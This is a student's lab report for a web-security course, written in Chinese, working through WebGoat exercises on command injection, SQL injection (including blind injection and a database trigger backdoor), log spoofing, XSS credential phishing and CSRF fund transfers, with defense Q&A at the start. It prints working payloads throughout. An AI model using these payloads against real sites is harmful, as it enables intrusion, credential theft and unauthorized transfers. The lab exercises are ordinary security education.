20165223《网络对抗技术》Exp 9 Web安全基础
目录 —— Web安全基础
- SQL注入攻击
- 1. 命令注入(Command Injection)
- 2. 数字型注入(Numeric SQL Injection)
- 3. 日志欺骗(Log Spoofing)
- 4. 字符串型SQL注入(LAB: SQL Injection-Stage1: String SQL Injection)
- 5. 数字型 SQL 注入(LAB: SQL Injection-Stage3: Numeric SQL Injection)
- 6. 字符串注入(String SQL Injection)
- 7. 数据库后门(Database Backdoors)
- 8. 数字型盲注入(Blind Numeric SQL Injection)
- 9. 字符串型盲注入(Blind String SQL Injection)
- XSS攻击
- CSRF攻击
1.1 实验目标
★ 实验要求
本实践的目标是理解常用网络攻击技术的基本原理,做不少于7个题目,每个0.5分,共3.5分。包括SQL、XSS、CSRF三种攻击原理,并在Webgoat下实践相关实验。
★ 攻击方法
攻击原理一:SQL注入攻击
攻击原理二:XSS攻击
攻击原理三:CSRF攻击
1.2 基础问答
★ SQL注入攻击原理,如何防御?
(1)SQL注入原理
- 利用现有应用程序,将恶意的SQL命令注入到后台数据库引擎执行的能力。即通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
(2)防御的方法
- 校验用户输入。可以使用正则表达式验证URL或用户输入;
- 不使用动态拼装SQL。可以使用参数化的SQL或者直接使用存储过程进行数据查询存取;
- 不使用管理员权限的数据库连接。要为每个应用使用单独的权限有限的数据库连接;
- 不能明文存放机密信息。最好加密或者hash掉密码和敏感的信息;
- 尽可能少的给出应用异常信息提示。最好使用自定义的错误信息对原始错误信息进行包装,把异常信息存放在独立的表中。
★ XSS攻击的原理,如何防御?
(1)XSS攻击原理
- 即跨站脚本攻击,通过对网页注入可执行代码且成功地被浏览器执行,从而达到攻击的目的。
- 反射型XSS攻击,恶意代码没有保存在目标网站,通过引诱用户点击恶意链接到目标网站再实施攻击。
- 存储型XSS攻击,恶意代码被保存到目标网站的服务器中,这种攻击具有较强的稳定性和持久性。
- DOM-XSS攻击,纯粹发生在客户端的XSS攻击。
(2)防御的方法
- 在提交表单前对输入的URL及特殊字符进行过滤,在输出数据前对潜在的威胁的字符进行编码转义。例如对“<>”进行HTML编码使其不能让属性值随意闭合;
- 标签事件属性黑名单。特殊字符容易被绕过,所以还得加标签事件得黑名单或者白名单,这里推荐使用白名单的方式,实现规则可以直接使用正则表达式来匹配,如果匹配到的事件不在白名单列表,就可以直接拦截,而不是过滤为空;
- 对开发者而言,编写安全代码就是防御XSS漏洞攻击的最好方法;
- 对网站用户而言,不要随意输入个人信息,也不要随意点击可疑链接,要提高自身安全意识。
★ CSRF攻击原理,如何防御?
(1)CSRF攻击原理
- 即跨站请求伪造,攻击方法是攻击者利用XSS的注入方式注入一段脚本,当受害者点击浏览器运行该脚本时,脚本伪造受害者发送了一个合法请求,因此攻击者可以盗用用户的信息,伪装成用户做坏事,造成个人隐私泄露以及财产安全危机。
(2)防御的方法
- 在客户端页面增加伪随机数验证。
- Cookie Hash:客户端与服务器进行hash校验
- 使用验证码:每次提交都需要用户在表单中填写一个图片上的随机字符串
- One-Time Tokens:不同的表单包含一个不同的伪随机值,在请求地址上添加token
1.3 实验准备
★ 安装jdk1.8
- 去Oracle官网下载jdk1.8版本:Java SE Development Kit 8 Downloads
-
根据网上找到的教程在kali中安装好jdk1.8:Kali-JDK1-8安装教程
-
查看是否安装成功:
java -version
★ 安装WebGoat
- 去GitHub下载WebGoat 7.1安装包:The OWASP WebGoat 7.1 Release
- 当然也可以安装其他版本,对应的jdk版本会有所不同,这里下载的是WebGoat 7.1,对应jdk1.8版本;不同版本的WebGoat教程也会有些不同
- WebGoat默认使用8080端口,开启前先查看端口是否被占用:
netstat -tupln | grep 8080
- 若被占用,终止占用8080端口的进程:
kill 进程号
- 安装并运行WebGoat:
java -jar webgoat-container-7.0.1-war-exec.jar
- 看到
Starting ProtocolHandler ["http-bio-8080"]
这一条消息之后,即可开始后续的实验
- 浏览器中输入:
http://localhost:8080/WebGoat
,进入WebGoat登录界面 - 下方已经给出两组默认的用户名和密码,直接使用一组登陆即可开始实验
2.1 SQL注入攻击
2.1.1 命令注入(Command Injection)
命令注入漏洞允许未经授权的执行操作系统命令。由于命令注入漏洞的存在,应用程序无法正确地验证和消毒,使用时会调用shell的功能。攻击者往往会通过控制这些参数达到欺骗应用程序执行任何系统命令的目的。
- 右键点击,选择
inspect Element
审查网页元素 - 选择
Edit As HTML
对网页源代码进行修改 - 找到选项
AccessControlMatrix.help
,在末尾注入"&&ifconfig"
- 点击
view
执行时使用了cmd.exe 直接运行dos指令。那么需要找到可以连接dos指令的符号。可以使用“&”命令连接符号把两个命令连续执行,不用换行,用来分隔一个命令行中的多个命令。cmd命令提示符先运行第一个命令,再运行第二个命令。 - 执行view后,可以看到调用cmd中ifconfig的内容
- 再尝试注入
"& netstat -an & ipconfig"
- 点击
view
开始攻击,可以看到执行指令后的网络端口使用情况和IP地址,攻击成功
- 正常view,不进行命令注入时结果如下:
- 从而和攻击原理对应了起来,遭到命令注入攻击的网页在返回正常的结果的同时还调用了shell指令,执行了注入的命令并返回结果
2.1.2 数字型注入(Numeric SQL Injection)
即在station字段中注入特征字符,组合成新的SQL语句。注入方式有两种:
(1)1 or 1=1
。完整SQL语句为:select * from users where USERID = 1 or 1=1
。
(2)1234 or true
。true是有效值。也可将true替换为其他SQL语句,完整SQL结果为true即可。
注入语句为:SELECT * FROM weather_data WHERE station = [station]
- 右键地名,选择
inspect Element
审查网页元素,对源代码进行修改,在Value值中添加or 1=1
- 我修改了:
<option value="101 <font color=red>or 1=1</font>">Columbia</option>
- 意思是选择
Columbia
这个选项时,不仅会显示原城市的天气情况,其他所有城市都会显示
- 点击
GO
,攻击成功
- 正常情况下只会显示选择的城市的天气情况
2.1.3 日志欺骗(Log Spoofing)
通过在日志文件中插入脚本实现欺骗。利用日志的格式,使用换行等字符,欺骗管理员。
- 在登陆框中输入用户名:
5223%0d%0aLogin Succeeded for username: admin
- 换行显示且可以任意用户名登陆(即万能登陆)
2.1.4 字符串型SQL注入(LAB: SQL Injection-Stage1: String SQL Injection)
通过注入字符串绕过认证。
- 通过修改密码框的最大长度,达到能够注入欺骗SQL的字符串(永真式)的长度,否则会注入失败
- 先不修改密码框长度,按题目要求尝试登陆发现失败
- 由于网页的html代码中,给密码框限定了最大长度为8,限制了SQL注入
- 因此将其长度修改至23(随便什么长度,较长即可)
- 以用户Neville登录,以永真式的形式输入密码
5223' or 1=1 --
,这一次成功登陆了
- 并且获得了所有人员的名单
- Stage 2: Parameterized Query #1(修复Stage1方式:参数化查询)
2.1.5 数字型 SQL 注入(LAB: SQL Injection-Stage3: Numeric SQL Injection)
通过注入语句,浏览到原本无法浏览的信息。通过一个普通员工的账户Larry,浏览其BOSS的账户信息。
- 使用2.1.4练习中的方法登陆Larry账户,查询她的个人信息
- 点击
ViewProfile
,查询员工信息如下
- 点击下方
EditProfile
还可以修改其信息
- 返回登陆后界面,同样右键选择
inspect Element
审查网页元素,查看索引,发现此处是以员工ID作为索引传递参数的
- 要达到通过Larry来浏览老板账户信息的目的,就需要把ID的value值修改为“顺序最高”,即修改为
101 or 1=1 order by salary desc
- 其中
desc
表示使用降序排列,因为老板的工资是最高的,所以老板的信息就会被排到第一个
- 再次查看员工信息,此时可以看到员工仍然是Larry,但信息确实boss的信息,攻击成功
2.1.6 字符串注入(String SQL Injection)
通过注入字符串绕过认证
- 根据教程提示构造SQL语句:
SELECT * FROM user_data WHERE last_name = 'Your Name'
- 正常查询时只显示查询员工的信用卡号码
- 开始注入,希望达到仅通过用户名“Smith”查询,就将所有员工的信用卡信息显示出来
- 注入的SQL语句:
SELECT * FROM user_data WHERE last_name = 'Smith' or 1=1 --
- 提前将Smith语句封闭,使得查询的是永真式,达到目的
2.1.7 数据库后门(Database Backdoors)
数据库通常作为一个Web应用程序的后端来使用。此外,它也用来作为存储的媒介。它也可以被用来作为存储恶意活动的地方,如触发器。触发器是在数据库管理系统上调用另一个数据库操作,如insert,select,update or delete。例如攻击者可以创建一个触发器,该触发器在创建新用户时,将每个新用户的Email地址设置为攻击者的地址。
- 输入
101
,得到用户Larry的信息。可以看到输入的语句没有验证(漏洞),很容易进行 SQL 注入
- 输入
101; update employee set salary=10000
,用分号隔开需要执行的两条语句 - 该语句将员工Larry的工资修改为10000
- 此时重新输入
101
,发现信息已经被修改了
- 输入以下语句,添加触发器,创建一个后门,把表中所有的邮箱和用户ID都设为攻击者的(我的):
101;CREATE TRIGGER lsjBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='5223cn@qq.com' WHERE userid = NEW.userid
- BEFORE/AFTER:参数指定了触发执行的时间,在事件之前或是之后
- FOR EACH ROW:表示任何一条记录上的操作满足触发事件都会触发该触发器,也就是说触发器的触发频率是针对每一行数据触发一次
- 攻击成功
2.1.8 数字型盲注入(Blind Numeric SQL Injection)
通过注入SQL语句盲查出需要的信息。例如使用二分法不停尝试,直到找出结果。
- 目标是得到一个存放在pins表中值pin的内容,行号
cc_number=1111222233334444
- 注入
101 AND ((SELECT pin FROM pins WHEREcc_number=’1111222233334444′) > 10000 );
- 使用二分法,注入
101 AND ((SELECT pin FROM pins WHEREcc_number=’1111222233334444′) > 5000 );
- 不断使用二分法,直到注入
101 AND ((SELECT pin FROM pins WHEREcc_number=’1111222233334444′) > 1250 );
时提示在范围内
- 重复用二分法,直到找到真实的PIN码
2364
,成功
2.1.9 字符串型盲注入(Blind String SQL Injection)
与数字型盲注入类似,不过一个是注入数字,一个是注入字符串
- 目标是找到pins表中cc_number字段值为4321432143214321 的记录中pin字段的数值。pin字段类型为varchar。输入找到的数值(最终的字符串,注意拼写和大写)并提交
- 先随意注入
((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'K' );
,发现PIN表中需要的字符串第一个字母比K小
- 修改字符串,注入
((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'I' );
,发现第一个字母比I大
- 那么就知道了第一个字母为J
- 以此类推,修改参数为2,继续猜测得到第二个字母为i
- 同理,逐步猜测得到全部字母,字符串PIN码为:
Jill
,攻击成功
2.2 XSS攻击
2.2.1 XSS 钓鱼(Phishing with XSS)
通过修改网页源代码,篡改HTML中的内容,加入XSS攻击代码达到攻击效果
- 在搜索框中输入XSS攻击代码,目标是通过login创建一个表单,在表单中输入的内容(用户名、密码)都会被反馈到攻击者手中
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
- 创建出的表单
- 输入用户名密码,反馈得到输入内容
2.2.2 存储型XSS攻击(Stored XSS Attacks)
这种攻击方式的脚本(恶意代码)是存放在网页中,常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。
- 目标是通过在留言板上输入一段非法脚本,使其他用户访问时弹出非预期窗口提示
- 在留言板上输入:
<script>alert("233333333");</script>
2.2.3 反射型XSS攻击(Reflected XSS Attacks)
该攻击方式中脚本没有写入网站中,是通过创造恶意链接并诱导用户点击或是浏览网页到某处时触发达到目的
- 目标是使用攻击脚本创建URL,并将其写入网站中,当读取到该URL的时候就会被攻击
- 按要求在
Enter your three digit access code:
中输入脚本<script>alert("Ahhhhhhh!!!");</script>
,攻击成功
2.3 CSRF攻击
2.3.1 跨站请求伪造(Cross Site Request Forgery (CSRF))
CSRF跨站请求伪造,与XSS攻击方式其实很类似,是让受害者加载一个包含网页的图片的一种攻击手段。
- 目标是向新闻组发送一封Email,该邮件中包含一个图像,图像的URL指向恶意请求。该URL应该指向“攻击”servlet,其中包含“屏幕”和“菜单”参数,以及一个额外的参数“transferFunds”(数值为5000)。 通过身份认证的CSRF电子邮件的收件人将被转移资金。
- 查看右侧栏中的scr和menu大小,输入:
<img src="attack?Screen=311&menu=900&transferFunds=5000"/>
- 点击submit提交后在List中点击生成的链接,查看到邮件内容(一张图片),左侧教程栏中出现绿勾,攻击成功
2.3.2 绕过CSRF确认(CSRF Prompt By‐Pass)
-
与上一个题目类似,向包含多个恶意请求的新闻组发送电子邮件:第一个请求用于转移资金,第二个请求用于确认第一个请求触发的提示符。url应该指向攻击servlet,其中包含这个CSRF-prompt-by-pass课程的屏幕、菜单参数和一个额外的参数“transferFunds”,其中包含一个数值“5000”来启动传输,一个字符串值“CONFIRM”来完成传输。您可以从右边的插图中复制课程的参数,创建格式为
attack?Screen=XXX&menu=YYY&transferFunds=ZZZ
的url。无论谁收到这封电子邮件,并且碰巧在那个时候通过了身份验证,他的资金就会被转移。 -
查看右侧栏中的scr和menu大小,输入:
<iframe src="attack?Screen=282&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=282&menu=900&transferFunds=CONFIRM"> </iframe>
- 点击submit提交后在List中点击生成的链接,可以看到已经被转走了5000
★ 打开WebGoat无教程?
- 由于我的kali中没有
jdk1.8
,只有openjdk11.0.3
,这样是无法使用WebGoat
教程的
- 若是不安装jdk1.8,启用并登陆WebGoat后会发现左侧教程栏中什么都没有,因此需要先安装jdk1.8
- 参考实验准备中的做法即可解决问题
- 本次实验使用了WebGoat做指导,深入学习了SQL注入、XSS、CSRF这三种网页攻击方式,在实践操作中巩固学习,自我感觉学得还不错,能够将题目都解出来,一开始还照着网上的教程学习,后来熟悉了操作模式后自己也能做出几道题了,感觉获益良多
参考资料